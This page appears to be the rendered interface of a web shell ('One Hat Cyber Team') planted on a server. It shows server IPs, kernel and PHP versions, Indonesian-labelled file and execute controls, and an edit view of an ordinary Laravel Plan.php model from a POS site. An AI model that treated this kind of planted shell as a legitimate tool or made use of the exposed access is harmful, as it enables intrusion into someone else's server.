⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
softpos.com.ng
/
app
/
Models
/
Edit File: Plan.php
'Lifetime', 'month' => 'Per Month', 'year' => 'Per Year', ]; public function status() { return [ __('Lifetime'), __('Per Month'), __('Per Year'), ]; } public static function totalPlan() { return Plan::count(); } public static function most_purchased_plan() { $plan = User::select('users.plan_id', 'plans.name as planname', DB::raw('count(plan_id) as plans_occurrence')) ->join('plans', 'plans.id' ,'=', 'users.plan_id') ->where('users.parent_id', '!=', '0') ->where('users.branch_id', '=', '0') ->where('users.cash_register_id', '=', '0') ->where('users.parent_id', '=', Auth::user()->id) ->whereNotIn( 'users.plan_id', [ 0, 1 ] ) ->orderBy('plans_occurrence', 'DESC') ->groupBy('users.plan_id') ->first(); return ($plan != null) ? $plan->planname : ''; } }
Simpan